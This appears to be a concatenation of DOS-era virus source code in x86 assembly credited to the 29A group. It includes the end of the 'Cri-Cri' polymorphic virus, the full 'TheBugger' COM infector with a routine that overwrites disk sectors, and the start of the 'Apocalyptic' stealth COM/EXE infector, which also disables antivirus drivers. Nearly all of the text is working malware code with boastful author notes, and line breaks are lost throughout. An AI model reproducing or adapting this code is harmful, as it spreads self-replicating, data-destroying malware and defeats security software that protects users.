;-------------------------------------------------- ---------------------------;Makes an opcode of type mov reg,immediate value;either 8 or 16 bit value;but never ax or al or sp,di,si or bp;-------------------------------------------------- ---------------------------move_imm:

call get_rnd;Get a reggie

and al , 0Fh;Make it a mov reg,

or al , 0B0htest al , 00001000bjz is_8bit_mov

;Make it ax,bx cx or dxand al , 11111011bmov ah, aland ah, 03h

;Not ax or aljz move_immstosbcall rand_16stoswret

is_8bit_mov :mov bh, al

;Is al?

and bh, 07h;Yeah bomb

jz move_immstosbcall get_rndstosbret

;-------------------------------------------------- ---------------------------;Now we knock boots with mov reg,reg's;but never to al or ax.;-------------------------------------------------- ---------------------------move_with_reg :

call rand_16;Preserve reggies and 8/16 bit

and ax , 0011111100000001b;Or it with addr mode and make it mov

or ax , 1100000010001010breg_test :

test al , 1jz is_8bit_move_with_reg

;Make source and dest = ax,bx,cx,dx and ah, 11011011b

is_8bit_move_with_reg :mov bl , ahand bl , 00111000b

;No mov ax, 's please jz move_with_reg

;Let's see if 2 reggies are same reggies. mov bh, ahsal bh, 1sal bh, 1sal bh, 1and bh, 00111000b

;Check if reg,reg are samecmp bh, bljz move_with_regstoswret

;-------------------------------------------------- ---------------------------;Modify a mov reg,reg into an xchg reg,reg;-------------------------------------------------- ---------------------------reg_exchange :;Make a mov reg,reg

call move_with_reg;But then remove it

dec di;And take advantage of the fact the opcode is still in ax

dec di;Was a 16 bit type?

test al , 1b;Yeah go for an 8 bitter

jnz reg_exchangemov bh, ah

;Is one of reggies ax?and bh, 07h

;Yah so bombjz reg_exchange

;Else make it xchg ah,dl etc...mov al , 10000110bstoswret

;-------------------------------------------------- ---------------------------;We don't have to watch our stack if we pair up pus hes with pops

;so I slapped together this peice of shoddy work to add em.;-------------------------------------------------- ---------------------------do_push_pop :

mov ax ,( end_bytes_2 - bytes_2 )/ 2call rand_in_rangeadd ax , axmov bx , ax

;Generate push and pop instructionmov ax ,word ptr cs :[ bytes_2 +bx ]stoswret

;-------------------------------------------------- ---------------------------;Generate a random int 21h call.;-------------------------------------------------- ---------------------------do_int_21h :;Do not generate int 21h calls into boot sectore de cryptor

cmp byte ptr cs :[ prog_type ], "B"je no_generate_int

;Do not generate int 21h calls into decryption loopcmp byte ptr cs :[ decrypt_pointer ], 02hjb no_in_loop

no_generate_int :ret

no_in_loop :call get_rnd

;Choose within ah,function or ax,function+subfuncti onand al , 01hjz do_int_ax

do_int_ah :mov ax , end_ah_table - ah_tablecall rand_in_rangemov bx , axmov ah,byte ptr cs :[ ah_table +bx ]

;Do not generate same int's in a rowcmp ah,byte ptr cs :[ last_int_type ]jz do_int_ah

;Generate mov ah,function mov byte ptr cs :[ last_int_type ], ahmov al , 0B4hstosw

;Generate int 21h mov ax , 021CDhstoswret

do_int_ax :mov ax ,( end_ax_table - ax_table )/ 2call rand_in_rangeadd ax , axmov bx , axmov ax ,word ptr cs :[ ax_table +bx ]

;Do not generate same int's in a rowcmp ah,byte ptr cs :[ last_int_type ]jz do_int_axmov byte ptr cs :[ last_int_type ], ah

;Generate mov ax,functionmov byte ptr es :[ di +00h ], 0B8hinc distosw

;Generate int 21h mov ax , 021CDhstoswret

;-------------------------------------------------- ---------------------------

;Simple timer based random numbers but with a twist using xor of last one.;-------------------------------------------------- ---------------------------get_rnd :

in ax , 40hxor ax , 0FFFFhorg $- 2

Randomize dw 0000hmov [ Randomize ], axret

;-------------------------------------------------- ---------------------------;A small variation to compensate for lack of random ocity in the;high byte of 16 bit result returned by get_rnd.;-------------------------------------------------- ---------------------------rand_16 :

call get_rndmov bl , alcall get_rndmov ah, blret

;-------------------------------------------------- ---------------------------;Generate a random number betwin 0 and ax.;-------------------------------------------------- ---------------------------rand_in_range :;Returns a random num between 0 and entry ax

push bxpush dxxchg ax , bxcall get_rndxor dx , dxdiv bx

;Remainder in dxxchg ax , dxpop dxpop bxret

;-------------------------------------------------- --------------------------;Return the al vector in es:bx;-------------------------------------------------- --------------------------get_int :

push axxor ah, ahrol ax , 1rol ax , 1xchg bx , axxor ax , axmov es , axles bx ,dword ptr es :[ bx +00h ]pop axret

;-------------------------------------------------- --------------------------;Set al interrupt vector to ds:dx pointer;-------------------------------------------------- --------------------------set_int :

push axpush bxpush dsclixor ah, ahrol ax , 1rol ax , 1xchg ax , bxpush dsxor ax , ax

mov ds , axmov word ptr ds :[ bx +00h ], dxpop word ptr ds :[ bx +02h ]stipop dspop bxpop axret

;-------------------------------------------------- --------------------------;Print message to screen;-------------------------------------------------- --------------------------print_credits :;Set VGA video mode 03h

push bpmov ax , 0003hint 10h

;Print stringmov ax , 1301hmov bx , 0002hmov cx , 003Ahmov dx , 0A0Bhpush cspop espop bpadd bp, offset text_birthdayint 10h

exit_print :;Infinite loop

jmp exit_print;-------------------------------------------------- --------------------------;Get sft address in es:di;-------------------------------------------------- --------------------------get_sft :;File handle in bx

push bx;Get job file table entry to es:di

mov ax , 1220hint 2Fhjc error_sft

;Exit if handle not openedxor bx , bxmov bl ,byte ptr es :[ di +00h ]cmp bl , 0FFhje error_sft

;Get address of sft entry number bx to es:dimov ax , 1216hint 2Fhjc error_sftpop bxstccmcret

;Exit with errorerror_sft :

pop bxstcret

;-------------------------------------------------- --------------------------;Seek to end of file;-------------------------------------------------- --------------------------seek_end :

call get_sftmov ax ,word ptr es :[ di +11h ]

mov dx ,word ptr es :[ di +13h ]mov word ptr es :[ di +17h ], dxmov word ptr es :[ di +15h ], axret

;-------------------------------------------------- --------------------------;Seek to beginning;-------------------------------------------------- --------------------------seek_begin :

call get_sftxor ax , axmov word ptr es :[ di +17h ], axmov word ptr es :[ di +15h ], axret

;-------------------------------------------------- --------------------------;Virus CRITICAL ERROR interrupt handler;-------------------------------------------------- --------------------------my_int24h :

sti;Return error in functionmov al , 3iret

;-------------------------------------------------- --------------------------;Save all registers in the stack;-------------------------------------------------- --------------------------push_all :

clipop cs :[ ret_off ]pushfpush axpush bxpush cxpush dxpush bppush sipush dipush espush dspush cs :[ ret_off ]stiret

;-------------------------------------------------- --------------------------;Restore all registers from the stack;-------------------------------------------------- --------------------------pop_all :

clipop cs :[ ret_off ]pop dspop espop dipop sipop bppop dxpop cxpop bxpop axpopfpush cs :[ ret_off ]stiret

;-------------------------------------------------- --------------------------;Clear some registers before returning to host;-------------------------------------------------- --------------------------zero_all :

xor ax , axxor bx , bxxor cx , cxxor dx , dxxor di , dixor si , sixor bp, bpret

;-------------------------------------------------- --------------------------;Unhook int 03h and int 24h and clear dos infection switch;-------------------------------------------------- --------------------------unhook_ints :

push dspush dxpush axmov byte ptr cs :[ running_sw ], "R"lds dx ,dword ptr cs :[ old03h ]mov al , 03hcall set_intlds dx ,dword ptr cs :[ old24h ]mov al , 24hcall set_intpop axpop dxpop dsret

;-------------------------------------------------- --------------------------;Get position of code inserted into boot sector;-------------------------------------------------- --------------------------get_position :

mov ah, 0mov al ,byte ptr es :[ bx +01h ]inc axinc axmov di , bxadd di , axret

;-------------------------------------------------- --------------------------;Make a copy of file header;-------------------------------------------------- --------------------------copy_header :;Copy header to buffer

call push_allpush cspop esmov si , offset file_buffermov di , offset old_headermov cx , 0019hcldrep movsbcall pop_allret

;-------------------------------------------------- --------------------------;Polymorphic generator data buffer;-------------------------------------------------- --------------------------ah_table :;This table contains the int 21h garbage functions

db 00Bh ;Read entry statedb 019h ;Get current drivedb 02Ah ;Get current datedb 02Ch ;Get current timedb 030h ;Get dos version numberdb 062h ;Get psp address

end_ah_table :ax_table :

dw 3300h ;Get break-flagdw 3700h ;Get line-command separatordw 5800h ;Get mem conceptdw 5802h ;Get umb insertdw 6501h ;Get code-page

end_ax_table :;Push and pop pairsbytes_2 :

push axpop dxpush axpop bxpush axpop cxpush bxpop dxpush bxpop cxpush cxpop bxpush cxpop dx

end_bytes_2 :;Steps tablestep_table :

dw offset do_subroutinedw offset do_call_garbagedw offset g_generatordw offset do_branchdw offset sub_decryptordw offset next_decryptordw offset do_push_g_pop

end_step_table :instruction_table :

dw offset inst_get_deltadw offset inst_load_counterdw offset inst_load_pointerdw offset inst_decrypt_onedw offset inst_inc_pointerdw offset inst_dec_loop

end_inst_table :;Address of every op-code generatorop_table :

dw offset move_with_regdw offset move_immdw offset reg_exchangedw offset do_push_popdw do_int_21h

end_op_table :;Misc datalast_fill_type dw 0last_int_type db 0last_step_type dw 0000hlast_subroutine dw 0000hdecrypt_sub dw 0000haddress_loop dw 0000hdecrypt_pointer db 00haddress_register db 00hdecrypt_register db 00haddress_seg_1 db 00haddress_seg_2 db 00h

;-------------------------------------------------- --------------------------;Virus data buffer;-------------------------------------------------- --------------------------old21h equ this dwordold21h_off dw 0000hold21h_seg dw 0000horg21h equ this dwordorg21h_off dw 0000horg21h_seg dw 0000hold13h equ this dwordold13h_off dw 0000hold13h_seg dw 0000hold24h equ this dwordold24h_off dw 0000hold24h_seg dw 0000hold03h equ this dwordold03h_off dw 0000hold03h_seg dw 0000hread_ptr equ this dwordread_off dw 0000hread_seg dw 0000hdos_flag db 00hprog_type db "C"running_sw db "R"stealth_sw db 00hdos_function dw 0000hret_off dw 0000htoday db 00hfile_offset dw 0000h;-------------------------------------------------- --------------------------text_birthday db "Cri-Cri ViRuS by Griyo/29A"

db " ...Tried, tested, not approved.";-------------------------------------------------- --------------------------file_buffer db 19h dup ( 00h )old_header db 19h dup ( 00h )clave_crypt db 00h;-------------------------------------------------- --------------------------;Buffer for working areavirus_copy db 00h;-------------------------------------------------- --------------------------com ends

end virus_entry

;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± ±±±±±±±±±±±±±±±±±±±±±±±±±±;±±± ±±±;±±± ðððððð ðð ðð ððððð ðððð ðð ðð ððððð ððððð ððððð ððððð ±±±;±±± ðð ððððð ðð= ð==ð ðð ðð ðð ðð ðð= ðð ð ±±±;±±± ðð ðð ðð ðð ð ð ðð ðð ðð ðð ðð ðð ðð ðððð ±±±;±±± ðð ðð ðð ððððð ððððð ððððð ððððð ððððð ððððð ðð ð VIRUS. ±±±;±±± ±±±;±±± ¯¯¯ A 29A Research Code by The Sl ug. ®®® ±±±;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± ±±±±±±±±±±±±±±±±±±±±±±±±±±;±±± TheBugger is a simple COM infector w ith some interesting ±±±;±±± inprovements. ±±±;±±± ±±±;±±± Its first difference with a normal COM virus is the tricky resident ±±±;±±± check; it's designed to avoid lamers writin g the typical resident ±±±;±±± program wich returns the residency code and f orces the virus to not ±±±;±±± install in memory. To avoid that, the virus m akes an extra check of ±±±;±±± a random byte in the memory copy; if the chec k fails, it jumps to a ±±±;±±± simulated HD formatting routine }:). ±±±;±±± ±±±;±±± Another interesting feature is the tunnelin g routine. It uses the ±±±;±±± common code trace method but it starts tracin g from PSP call to int ±±±;±±± 21h instead of doing it from normal int 21h ve ctor in order to avoid ±±±;±±± resident antivirus stopping trace mode. This call is supported for ±±±;±±± compatibility with older DOS versions and it has some little ±±±;±±± diferences with the normal int 21 handler: fi rst, the function code ±±±;±±± is passed in cl register (not in ah as usual) and second, the ±±±;±±± function to call can't be higher than 24h . These diferences are ±±±;±±± handled by the O.S. in a separated routine an d then it jumps to the ±±±;±±± original int 21h handler, so the tunneling routine only skips the ±±±;±±± first 'compatibility' routines and gets the re al int 21h address €:).±±±;±±± ±±±;±±± The last big feature, is the infection method; the virus infects COM ±±±;±±± files by changing a call in host code to poin t to it. This call may ±±±;±±± be one between the second and fifth. This is done by intercepting ±±±;±±± the int 21h service 4bh (exec), when a COM fil e is executed, the vi- ±±±;±±± rus changes its first word with an int CDh ca ll, it intercepts this ±±±;±±± int and jumps to the int 21h. When the host s tarts running, it exe- ±±±;±±± cutes the int CDh and then the virus takes con trol; it restores host ±±±;±±± first word and changes int 01h to trace host i n order to find a call ±±±;±±± to infect }:) The use of int CDh can be avoi ded by tracing int 21h ±±±;±±± until host code, but this way we have the sa me problem of resident ±±±;±±± antivirus. ±±±;±±± ±±±;±±± And that's all folks :), enjoy it. ±±±;±±± ±±±;±±± 9 CAN ±±±;±±± The Slug/29A };){|0D==8±±±;±±± I Love This Job. 3---ë-----±±±;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± ±±±±±±±±±±±±±±±±±±±±±±±±±±

.286code segment 'TheBugger'assume cs : code , ds : code , ss : codeorg 0h

virsize equ ( virend - start )+ 1

;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± Main C0de ±±±±±±±±± ±±±±±±±±±±±±±±±±±±±±±±±±±±

start : push cs ;address t0 return t0 h0st.db 68h ;push '0ffset'.retonno dw 0000

push ds espusha

call sig ;get nasty delta 0ffset.sig : pop si

sub si , offset ( sig )

mov ax , 0B0B0h ;resident check.int 21hcmp ax , 0BABAhjne instaljmp lstchk

instal : mov ah, 62h ;get PSP segment.int 21hxchg bx , ax ;get MCB addres.dec axmov ds , ax

cmp byte ptr ds :[ 0], 'Z' ;is the last MCB?je chgmcbjmp aprog

chgmcb: sub word ptr ds :[ 3],( virsize / 10h )+ 8 ;change bl0ck size in MCBsub word ptr ds :[ 12h ],( virsize / 10h )+ 8 ;& in PSP.add ax , ds :[ 3]inc ax

cld ;copy to new l0cati0n.mov es , axxor di , dipush cspop dsmov cx , virsize

rep movsb

push es ;jump t0 c0py.push offset ( newcpy )retf

newcpy : mov si , 06h ;m0ve call t0 int 21,lea di , PSPcall +1 ;fr0m PSP t0 c0py 0f virus.movswmovsw

mov ds , cx ;save curent int 21h vect0r.mov si , 21h* 4 ;) cx=0lea di , int21 +1movswmovsw

mov word ptr ds :[ 01h* 4], offset ( tunn ) ;hang tunneling code :)mov word ptr ds :[ 01h* 4]+ 2, es

pushf ;call int 21h fr0m PSP in trace m0de.pop axor ah, 01hpush axmov cl , 0Bh ;get input status function (in cl ;).popfcall PSPcall

mov word ptr [ si - 4], offset ( hdl21 ) ;hang new int 21h handler.

mov word ptr [ si - 2], es

aprog : popa ;return t0 h0st.pop es dsretf

lstchk : in ax , 40h ;check rand0m w0rd of mem0ry c0py.and ax , 0200hpush siadd si , axmov di , axcmpswpop sije aprog

buuuhh : push cs ;display funny message :)pop dslea dx , jokeadd dx , simov ah, 09hint 21h

mov dx , 0180h ;I think it's clear enought };).mov cx , 07FFh

funny : mov ax , 0401hint 13hloop funny

;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± Data ±±±±±±±±±±± ±±±±±±±±±±±±±±±±±±±±±±±±±±

credits db 'TheBugger virus by The Slug/29A'intCD : int 0CDh ;int t0 detect h0st execution.PSPcall : db 9Ah

dd 0 ;PSP call t0 int21h ;)joke db 'Removing virus from memory...' , 13, 10, '$'

;±±±±±±±±±±±±±±±±±±±±±±±±±±±± Int 21h Handler ±±±±± ±±±±±±±±±±±±±±±±±±±±±±±±±±

hdl21 : cmp ax , 0B0B0h ;resident service?jne func2mov ax , 0BABAhpush cs ;return virus segment in espop es ;f0r extra check.iret

func2 : cmp ax , 4B00h ;exec service?je exec

int21 : db 0EAh ;jmp t0 int 21h.dd 0

exec : push ds espushapushf

mov si , dx ;c0py filespec.push cspop eslea di , path

next : lodsbstosbcmp al , 0jne next

sub si , 4 ;is a .c0m file?lodswxor ax , 2020hcmp ax , 'oc'jne nocom

call chgattr ;change file attributes.

mov ax , 3D02h ;0pen file.int 03hxchg bx , ax

call getdate ;get file time & date.

lea dx , firstb ;read first 3 bytes 0f filemov cx , 3 ;t0 exe check & h0st detect rutine.mov ah, 3Fhint 03h

cmp word ptr cs : firstb , 'ZM' ;is an exe file (MZ sign)?je exit

xor cx , cx ;g0 t0 file start again.mov ax , 4200hcwd ;dx <- 0 ;)int 03h

lea dx , intCD ;write 'int CDh' c0de 0n file startmov cx , 2 ;t0 detect h0st execution.mov ah, 40hint 03h

xor ax , ax ;change int CDh vect0rmov es , ax ;f0r h0st detection.mov ax , es :[ 0CDh* 4]mov intcddes , axmov ax , es :[ 0CDh* 4]+ 2mov intcdseg , axmov es :[ 0CDh* 4], offset ( fndhst )mov es :[ 0CDh* 4]+ 2, cs

exit : mov ah, 3Eh ;cl0se file.int 03h

nocom: popfpopapop es dsjmp int21

;±±±±±±±±±±±±±±±±±±±±±±±±±±± First Int 01 Handler ± ±±±±±±±±±±±±±±±±±±±±±±±±±±

tunn : push ds es bp ;trace int 21 f0r tunneling.pusha

call getret ;get next instructi0n address in es:di.

cmp es :[ di ], 0FC80h ;is an 'cmp ax, ??'jne fueracmp byte ptr es :[ di +2], 24h ;avoid 'cmp ax, 24h'je fuera

stop : xor bx , bxmov es , bxmov es :[ 03h* 4], di ;make int 03h point to true int 21h ;)mov es :[ 03h* 4]+ 2, ax

lodsw ;trace m0de 0ff.and ah, 0FEhmov [ si - 2], ax

fuera : popapop bp es dsiret

;±±±±±±±±±±±±±±±±±±±±±±±±±±±± Int CDh Handler ±±±±± ±±±±±±±±±±±±±±±±±±±±±±±±±±

fndhst : push ds es bp ;detect h0st c0de at exec.pusha

call getret ;get next instructi0n dir.

chkhst : cmp di , 102h ;ensure it's h0st start :)jne nohost

push cspop ds

mov ax , word ptr firstb ;rest0re first h0st w0rd in mem0ry.dec didec distosw

lea dx , path ;0pen file.push dxmov ax , 3D02hint 21hxchg bx , ax

lea dx , firstb ;rest0re first w0rd 0f file.mov cx , 2mov ah, 40hint 21h

call setdate ;rest0re file date & time.mov ah , 3Eh ;cl0se file.int 21hpop dxcall setattr ;rest0re file attributes.

xor ax , ax ;rest0re int CDh vect0r.mov es , axmov ax , intcddesmov es :[ 0CDh* 4], axmov ax , intcdsegmov es :[ 0CDh* 4]+ 2, ax

mov word ptr es :[ 01h* 4], offset ( fndcal ) ;change int 01h vect0rmov es :[ 01h* 4]+ 2, cs ;t0 find a call.

mov numinstr , 0FFh ;max number 0f instr. t0 trace.

in ax , 40h ;ramd0m ch0se 0f call t0 infect (2-5).and al , 03h

inc alinc almov numcall , al

push ss ;rest0re 0riginal IP (100h) 0n stack.pop dsdec didec dimov [ si - 4], di

lodsw ;trace m0de 0nor ah, 01hmov ss :[ si - 2], ax

nohost : popapop bp es dsiret

;±±±±±±±±±±±±±±±±±±±±±±±±±±± Second Int 01 Handler ±±±±±±±±±±±±±±±±±±±±±±±±±±

fndcal : push ds es bp ;trace h0st t0 find a call t0 infect.pusha

dec cs : numinstr ;check instructi0n trace limit.jnz goonjmp off

goon : call getret ;get ret address.

cmp di , cs : lstdsp ;d0 n0t c0unt 0ne m0re instructi0njne norep ;0n 'rep' prefixed instructi0ns.inc cs : numinstr

norep : mov cs : lstdsp , di ;st0re actual return 0ffset.

mov ax , es :[ di ]

cmp al , 9Dh ;check f0r a p0pf.jne chkirtlodswlodswor ah, 01h ;ensure trap flag will be 0n.mov [ si - 2], axjmp nocall

chkirt : cmp al , 0CFh ;check f0r a iret.jne chkintlodswlodswlodswlodswor ah, 01h ;ensure trap flag will be 0n.mov [ si - 2], ax

anocall : jmp nocall

chkint : cmp al , 0CDh ;check f0r a int xx.jne chkint3cmp ah, 20h ;skip ints 20h, 21h & 20hje anocallcmp ah, 21hje anocallcmp ah, 27hje anocall

mov cs : numint , ax ;int number t0 perf0rm call.

inc di ;inc ret addr t0 step 0ver int call.inc dimov [ si - 4], di

popapop bp es dsnumint dw 00 ;perf0rm int call in virus c0de.iret

chkint3 : cmp al , 0CCh ;check int 03h call.jne chkcalinc dimov [ si - 4], di ;step 0ver int call.jmp nocall

chkcal : cmp al , 0E8h ;check f0r a call t0 infect.je foundjmp nocall

found : dec cs : numcall ;it's the nice 0ne ;)je gocmp cs : numinstr , 20 ;d0n't be s0 extrict in call numberjb go ;if there are t00 few calls.jmp nocall

go: call chgattr ;change attributes.

mov ax , 3D02h ;0pen file.int 03hxchg bx , ax

call getdate ;get file date & time.

xor cx , cx ;m0ve t0 file call positi0n.mov dx , disub dx , 100hmov ax , 4200hint 03h

lea dx , check ;read call fr0m file f0r c0mpress chk.mov cx , 1mov ah, 3Fhint 03h

cmp check , 0E8h ;c0mpressed file?je okjmp close

ok : xor cx , cx ;m0ves t0 end 0f file.mov ax , 4202hcwd ;dx <- 0 ;)int 03hmov hostsize , ax

sub ax , di ;find call parameter.add ax , 0FDhmov hostsize , ax ;f0r a new "call hostsize".

mov ax , es :[ di +1] ;0ffset t0 return t0 h0stadd ax , di

add ax , 3mov retonno , ax

lea dx , start ;save mi c0de at file end.mov cx , virsizemov ah, 40hint 03h

xor cx , cx ;m0ves again t0 call.sub di , 0FFhmov dx , dimov ax , 4200hint 03h

lea dx , hostsize ;change it. }:)mov cx , 2mov ah, 40hint 03h

close : call setdate ;rest0re file time & date.

mov ah, 3Eh ;cl0se file.int 03h

lea dx , pathcall setattr ;rest0re file attributes.

off : mov bp, spmov ax , ss :[ bp+26] ;trace m0de 0ff.and ah, 0FEhmov ss :[ bp+26], ax

nocall : popapop bp es dsiret

;±±±±±±±±±±±±±±±±±±±±±±± Get Ret Address Fr0m Stack ±±±±±±±±±±±±±±±±±±±±±±±±±

getret : mov si , sp ;get next instructi0n dir.add si , 24push sspop dslodswmov di , axlodswmov es , axret

;±±±±±±±±±±±±±±±±±±±±±±±± S0me File Handling C0de ± ±±±±±±±±±±±±±±±±±±±±±±±±±±

chgattr : push cspop dslea dx , pathmov ax , 4300h ;change file attributes.int 03hmov attrib , cxxor cx , cx ;reset file atributes.mov ax , 4301hint 03hret

setattr : mov cx , attrib ;rest0re file attributes.mov ax , 4301h

int 03hret

getdate : mov ax , 5700h ;get file time & date.int 03hmov time , cxmov date , dxret

setdate : mov cx , time ;rest0re file time & date.mov dx , datemov ax , 5701hint 03hret

virend :

;±±±±±±±±±±±±±±±±±±±±±±±±±±±±± Virtual Data ±±±±±±± ±±±±±±±±±±±±±±±±±±±±±±±±±±

firstb db 3 dup ( 0) ;buffer f0r h0st start.lstdsp dw 0 ;last trace 0ffset.numinstr db 0 ;max. number 0f instructi0ns t0 trace.numcall db 0 ;call t0 infect (2-5).intcddes dw 0 ;int CD vect0r backup.intcdseg dw 0hostsize dw 0 ;it's just the h0st size ;)attrib dw 0 ;file attributes.time dw 0 ;file time.date dw 0 ;file date.check db 0 ;check f0r compressed file.path db 0 ;path to host.

code endsend start

; Virus name: Apocalyptic; Author: WiNTeRMuTe/29A; Size: 1058 bytes; Origin: Madrid, Spain; Finished: October, 1996 ( with a pair of corrections after that );;; Characteristics and curiosities;; - TSR appending Com/Exe infector; - Has a routine to encrypt and another to decry pt ( ror+add+xor ); - Stealth ( 11h/12h/4eh/4fh/5700h ); - Deactivates Tbdriver when going into mem and when infecting; - Makes the int 3h point to the int21h on infec tion; - Fools f-prot's 'stealth detection'; - Non-detectable ( in 2nd generation ) by Tbav 7.05, F-prot 2.23c, Scan,; Avp and else. TbClean doesn't clean it ( it gets lost with the Z Mcb; searching loop,... really that product is a shit ); - Payload: On 26th of July it shows all file wi th size 029Ah ( 666 );;; Thanks go to:;; - All the 29A staff; rulez ! Specially in the s panish scene to MrSandman,; VirusBuster, Griyo, Mr.White, Avv, Anibal and OR P; - Living Turmoil, specially Warblade and Krackb aby... go on with the mags!; - H/P/C/A/V people in my bbs like Patuel, the B lack Rider, MegaMan,; Bitspawn, Netrunner, the S.H.E.... and of course to my sysop 'Uni' and the; other cosysops...;;; And fucks go to:;; - Some Fidoasses. They know who they are.;;; *ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ÍÍÍÍ*;; " Why don't you get a life and g row up,; why don't you realize that you're fucked up,; why criticize what you don't und erstand,; why change my words, you're so afraid ";; ( Sepultura );; *ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ*;; To assemble the virus, use:;; Tasm virus.asm; Tlink virus.obj;

.286HOSTSEGsegment BYTEASSUMECS: HOSTSEG, SS: CODIGO

Host :mov ax , 4c00hint 21h

ends

CODIGO segment PARAASSUME CS: CODIGO, DS: CODIGO, SS: CODIGO

virus_size equ virus_end - virus_startencrypt_size equ encrypt_end - encrypt_start

virus_start label byte

org 0h

Letsrock :call delta ; Entry for Com/Exe

delta :mov si , sp ; ë-offsetmov bp,word ptr ss :[ si ]sub bp, offset deltapush es ax ds

push cspop dscall tomacha ; I don't call encryption

;on first generation

Encrypt_start label byte

;************************************************** *************************; RESIDENCE;************************************************** *************************

goon :push escall tbdriver ; Deactivate TbDriver

mov ah, 52h ; Pick list of listsint 21hmov si , es :[ bx - 2] ; First MCBmov es , si

Mcb_Loop :cmp byte ptr es :[ 0], 'Z' ; I search last Mcb.je got_last

cont : add si , es :[ 3]inc simov es , sijmp Mcb_Loop

got_last :pop dxcmp word ptr es :[ 1], 0h ; Is it free ?je go_oncmp word ptr es :[ 1], dx ; Or with active Psp ?jne exit

go_on :cmp word ptr es :[ 3],(( virus_size +15)/ 16)+ 1jb exit ; Is there space for me ?

push es ; If there is, I get residentpop dsmov di , esadd di ,word ptr es :[ 3] ; Residence stuff; nothingsub di ,(( virus_size +15)/ 16) ;specialpush di

mov es , dixor di , dixor si , simov cx , 8rep movsw

pop diinc dimov word ptr es :[ 3],(( virus_size +15)/ 16)+ 1mov word ptr es :[ 1], di

mov byte ptr ds :[ 0], 'M'sub word ptr ds :[ 3],(( virus_size +15)/ 16)+ 1mov di , 5mov cx , 12xor al , alrep stosb

push es cspop ds axinc axpush axmov es , axxor di , dimov si , bpmov cx ,( virus_size )rep movsb

mov ax , 3521hint 21hpop dsmov ds :word ptr [ int21h ], bxmov ds :word ptr [ int21h +2], esmov ah, 25hlea dx , main_centerint 21h

;************************************************** *************************; RETURN TO HOST;************************************************** *************************

exit :pop ds ax es

dec byte ptr [ flag +bp] ; Was it a Com ?jz era_un_com

mov si , ds ; Recover stackadd si , cs :word ptr [ ss_sp +bp]add si , 10hclimov ss , simov sp , cs :word ptr [ ss_sp +bp+2]sti

mov si , ds ; Recover CS:IPadd si , cs :word ptr [ cs_ip +bp+2]add si , 10hpush sipush cs :word ptr [ cs_ip +bp]

retf ; Return to host

era_un_com :mov di , 100h ; If it's a Com, I makepush di ;it to returnlea si , bp+ss_spmovswmovsbret

condiciones :push cx dx ; Payload triggermov ah, 02ah ; Activates on 26th julyint 21hcmp dx , 071Ahpop dx cxjnz nainstcret

nain :clcret

;************************************************** *************************; TBDRIVER;************************************************** *************************

Tbdriver :xor ax , ax ; Annulates TBdriver,...mov es , ax ;really, this Av is ales bx , es :[ 0084h ] ;megashit.cmp byte ptr es :[ bx +2], 0eahjnz volvamospush word ptr es :[ bx +3]push word ptr es :[ bx +5]mov es , axpop word ptr es :[ 0086h ]pop word ptr es :[ 0084h ]

volvamos : ret

;************************************************** *************************; STEALTH 05700h;************************************************** *************************

Stealth_tiempo :pushfcall dword ptr cs :[ Int21h ] ; Calls Int21hpush cxand cl , 01fhxor cl , 01fhpop cxjnz nadaor cl , 01fh ; Changes seconds

nada :retf 2

;************************************************** **************************; FCB STEALTH;************************************************** **************************

FCB_Stealth :

pushf ; Stealth of 11h/12h, bycall dword ptr cs :[ Int21h ] ;FCBstest al , al

jnz sin_stealth

push ax bx es

mov ah, 51hint 21hmov es , bxcmp bx , es :[ 16h ]jnz No_infectado

mov bx , dxmov al ,[ bx ]push axmov ah, 2fhint 21hpop axinc aljnz Normal_FCBadd bx , 7h

Normal_FCB :mov al , es :[ bx +17h ]and al , 1fhxor al , 1fhjnz No_infectado

sub word ptr es :[ bx +1dh ], Virus_size ; Old lenght ofsbb word ptr es :[ bx +1fh ], 0 ;file and "normal"and byte ptr es :[ bx +17h ], 0F1h ;seconds

No_infectado :call condicionesjnc sin_nada

mov word ptr es :[ bx +1dh ], 029Ah ; Virus's payloadmov word ptr es :[ bx +1fh ], 0h

sin_nada :pop es bx ax

Sin_stealth : retf 2

;************************************************** **************************; INT 21h;************************************************** **************************

main_center : ; The main center !cmp ax , 5700hjz stealth_tiempocmp ah, 11hjz fcb_stealthcmp ah, 12hjz fcb_stealthcmp ah, 4ehjz handle_stealthcmp ah, 4fhjz handle_stealthcmp ah, 4bhje ejecutarjmp saltito

;************************************************** **************************; HANDLE STEALTH;************************************************** **************************

handle_stealth :

pushf ; Handle stealth, functionscall dword ptr cs :[ Int21h ] ;4eh/4fhjc adios_handle

pushfpush ax es bx cx

anti_antivirus :

mov ah, 62hint 21h

mov es , bx ; Is it F-prot ?mov es ,word ptr es :[ 2ch ]xor bx , bxmov cx , 100h

fpr :cmp word ptr es :[ bx ], '-F'jz sin_infectar ; Si lo es, pasamos de hacerinc bx ;el stealthloop fpr

mov ah, 2fhint 21h

mov al , es :[ bx +16h ]and al , 1fhxor al , 1fhjnz sin_infectar

sub word ptr es :[ bx +1ah ], Virus_size ; Subs virus sizesbb word ptr es :[ bx +1ch ], 0 ;and places coherentand byte ptr es :[ bx +16h ], 0F1h ;seconds

sin_infectar :call condicionesjnc no_payload

mov word ptr es :[ bx +1ah ], 029Ah ; payloadmov word ptr es :[ bx +1ch ], 0h

no_payload :pop cx bx es axpopf

adios_handle :retf 2

;************************************************** **************************; EXE INFECTION;************************************************** **************************

ejecutar :pushfpush ax bx cx dx si di ds es bp

mov di , dsmov si , dx

call tbdriver ; deactivates TbDriver

mov ax , 3503h ; Int 3h points to theint 21h ;int 21h: less size and we

push cs ;fuck'em a bitpop dsmov ah, 25hlea dx , saltitoint 21hpush es bx ax

mov ax , 3524h ; We handle int 24hint 3hmov ah, 25hlea dx , int24hint 3hpush es bx ax

mov ds , dimov dx , si

Noloes :mov ax , 4300h ; Saves and clears fileint 3h ;attributesmov ax , 4301hpush ax cx dxxor cx , cxint 3h

vamos_a_ver_si_exe :

